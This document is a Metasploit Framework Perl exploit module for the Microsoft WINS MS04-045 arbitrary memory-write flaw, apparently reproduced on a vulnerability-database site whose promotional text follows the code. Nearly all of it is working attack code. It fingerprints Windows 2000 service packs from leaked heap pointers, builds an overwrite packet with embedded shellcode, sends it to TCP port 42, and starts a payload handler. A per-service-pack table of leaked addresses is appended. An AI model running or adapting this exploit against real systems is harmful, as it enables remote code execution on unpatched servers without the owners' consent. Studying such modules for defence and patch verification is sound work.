`
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##
package Msf::Exploit::wins_ms04_045;
use base "Msf::Exploit";
use strict;
my $advanced =
{
'BASE' => [0, 'Specify the exact address to the structure'],
'TARG' => [0, 'Specify the exact address to overwrite'],
'WHAT' => [0, 'Specify the data used to overwrite the address'],
};
my $info =
{
'Name' => 'Microsoft WINS MSO4-045 Code Execution',
'Version' => '$Revision: 1.18 $',
'Authors' => [ 'H D Moore <hdm [at] metasploit.com>' ],
'Arch' => [ 'x86' ],
'OS' => [ 'win32', 'win2000' ],
'Priv' => 1,
'AutoOpts' => { 'EXITFUNC' => 'process' },
'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 42],
},
'Payload' =>
{
'Space' => 8000,
'MinNops' => 512,
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff", # add esp, -3500
'Keys' => ['+ws2ord'],
},
'Description' => Pex::Text::Freeform(qq{
This module exploits a arbitrary memory write flaw in the WINS service.
}),
'Refs' =>
[
['MSB', 'MS04-045'],
],
'Targets' =>
[
['Windows 2000 English', [ 0x5391f40 ], 0x53df4c4, 0x53922e0]
],
'Keys' => ['wins'],
};
sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}
sub Check {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my ($ret, $fprint, $check) = @{ $self->Fingerprint };
if ($ret < 0) {
return $check;
}
if ($ret == 0) {
$self->PrintLine("[*] This system does not appear to be vulnerable.");
return $check;
}
$self->PrintLine("[*] This system appears to be vulnerable.");
if ($fprint->{'os'} ne '?') {
my $os = $fprint->{'os'} eq '?' ? 'Unknown Windows' : 'Windows '. $fprint->{'os'};
my $sp = $fprint->{'sp'} eq '?' ? '' : 'SP '. $fprint->{'sp'};
my $vi = $fprint->{'vi'} == 1 ? '(clean heap)' : '(dirty heap)';
my $hp = length($sp) ? $vi : '';
$self->PrintLine("[*] Host $target_host is $os $sp $hp");
}
return $self->CheckCode('Safe');
}
sub Exploit {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_idx = $self->GetVar('TARGET');
my $shellcode = $self->GetVar('EncodedPayload')->Payload;
my $target = $self->Targets->[$target_idx];
if (! $self->InitNops(128)) {
$self->PrintLine("[*] Failed to initialize the nop module.");
return;
}
# Sanity check the WINS service
my ($ret, $fprint, $check) = @{ $self->Fingerprint };
if ($ret <= 0) {
$self->PrintLine("[*] The target system does not appear to be vulnerable.");
return;
}
# Windows 2000 SP0, SP2, SP3, SP4 only. SP1 does not have the
# same function pointer...
if ($fprint->{'os'} ne '2000' || $fprint->{'sp'} !~ /^[0234]/ ) {
$self->PrintLine("[*] The target system is not currently supported");
return;
}
# This flag is un-set if the first leaked address is not the default of
# 0x05371e90. This can indicate that someone has already tried to exploit
# this system, or something major happened to the heap that will probably
# prevent this exploit from working.
if (! $fprint->{'vi'}) {
$self->PrintLine("[*] The leaked heap address indicates that this attack may fail.");
}
# Allow for multiple attempts to find the base address
# XXX - Brute force not implemented (or required so far)
my @rloc = @{ $target->[1] };
# Address of the function pointers to overwrite (courtesy anonymous donor)
my $targ = $target->[2];
# Address of the payload on the heap, past the structure
my $code = $target->[3];
# Advanced options can be used to overwrite
@rloc = ( hex($self->GetVar('BASE')) ) if $self->GetVar('BASE');
$targ = hex($self->GetVar('TARG')) if $self->GetVar('TARG');
$code = hex($self->GetVar('WHAT')) if $self->GetVar('WHAT');
foreach my $base (@rloc) {
my ($req, $add);
# Pointing at any aligned address into top 36 bytes will result in a
# valid structure. This gives us some breathing room if things move
# around a little bit.
$add .= pack('V', $code) x 9;
$add .= pack('V', $targ - 0x48) x 14;
# Multiple copies are used in case things slide a little bit
$req .= $add x 10;
# Bling.
$req .= $shellcode;
# Random padding :-)
$req .= Pex::Text::EnglishText(9200 - length($req));
# Tack on the header
my $pkt = pack('NNN', length($req) + 8, -1, $base). $req;
# Poink!
$self->PrintLine(sprintf("[*] Attempting to overwrite 0x%.8x with 0x%.8x (0x%.8x)", $targ, $code, $base));
my $s = Msf::Socket::Tcp->new
(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
);
if ($s->IsError) {
$self->PrintLine("[*] Socket error: " . $s->GetError());
return(0);
}
$s->Send($pkt);
$self->Handler($s);
}
return;
}
# This fingerprinting routine will cause the structure base address to slide down
# 120 bytes. Subsequent fingerprints will not push this down any futher, however
# we need to make sure that fingerprint is always called before exploitation or
# the alignment will be way off.
sub Fingerprint {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $fprint = {};
# This results in vulnerable servers leaking back some useful
# pointers to the heap and to ntdll.dll. We can use these pointers
# to determine the service pack.
my $req =
"\x00\x00\x00\x29\x00\x00\x78\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x40\x00\x02\x00\x05".
"\x00\x00\x00\x00\x60\x56\x02\x01\x00\x1F\x6E\x03".
"\x00\x1F\x6E\x03\x08\xFE\x66\x03\x00";
my $s = Msf::Socket::Tcp->new
(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
);
if ($s->IsError) {
$self->PrintLine("[*] Socket error: " . $s->GetError());
return [-2, $fprint, $self->CheckCode('Connect') ];
}
$s->Send($req);
my $res = $s->Recv(-1, 5);
if (! $res) {
$self->PrintLine("[*] No response to WINS probe.");
$s->Close;
return [-1, $fprint, $self->CheckCode('Connect') ];
}
my @ptrs = ( unpack('N', substr($res, 16, 4)), unpack('VVV', substr($res, 32)) );
$self->PrintDebugLine(1, sprintf("[*] Pointers: [0x%.8x] 0x%.8x 0x%.8x 0x%.8x", @ptrs));
my ($os, $sp, $vi) = ('2000', '?', '?');
# Windows 2000 versions
$sp = '0' if $ptrs[3] == 0x77f8ae78;
$sp = '1' if $ptrs[3] == 0x77f81f70;
$sp = '2' if $ptrs[3] == 0x77f82680;
$sp = '3' if $ptrs[3] == 0x77f83608;
$sp = '4' if $ptrs[3] == 0x77f89640;
$sp = '4++' if $ptrs[3] == 0x77f82518;
# Probably not Windows 2000...
$os = '?' if $sp eq '?';
# Windows NT 4.0
if ($ptrs[0] > 0x02300000 && $ptrs[0] < 0x02400000) {
$os = 'NT';
$sp = '?';
}
# Heap is still pristine...
$vi = 1 if $ptrs[0] == 0x05371e90;
# Store the fingerprints....
$fprint->{'os'} = $os;
$fprint->{'sp'} = $sp;
$fprint->{'vi'} = $vi;
# Probe to test vulnerability
$req = "\x00\x00\x00\x0F\x00\x00\x78\x00". substr($res, 16, 4).
"\x00\x00\x00\x03\x00\x00\x00\x00";
$s->Send($req);
$res = $s->Recv(-1, 3);
$s->Close;
if (substr($res, 6, 1) eq "\x78") {
return [1, $fprint, $self->CheckCode('Appears') ];
}
return [0, $fprint, $self->CheckCode('Safe') ];
}
1;
__END__
SP0 [0x05371e90] 0x053dffa4 0x77fb80db 0x77f8ae78
SP1 [0x05371e90] 0x0580ffa4 0x77fb9045 0x77f81f70
SP2 [0x05371e90] 0x053dffa4 0x77fb9da7 0x77f82680
SP3 [0x05371e90] 0x053dffa4 0x77f82b95 0x77f83608
SP4 [0x05371e90] 0x053dffa4 0x77f98191 0x77f89640
SP4 [0x00000040] 0x053dffa4 0x77f98191 0x77f89640 (patched)
SP4 [0x0000003e] 0x053dffa4 0x77f81f55 0x77f82518 (mostly patched)
NT4
YES [0x023b1e98] 0x0014c3f0 0x00000048 0x00000000
NOT [0x023d1dc8] 0x0014de60 0x00000048 0x0000023f
YES [0x023b1ea0] 0x00000048 0x00000009 0x0000023e
2K3 [0x00000040] 0x044bf584 0x01013c25 0x000003ac
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation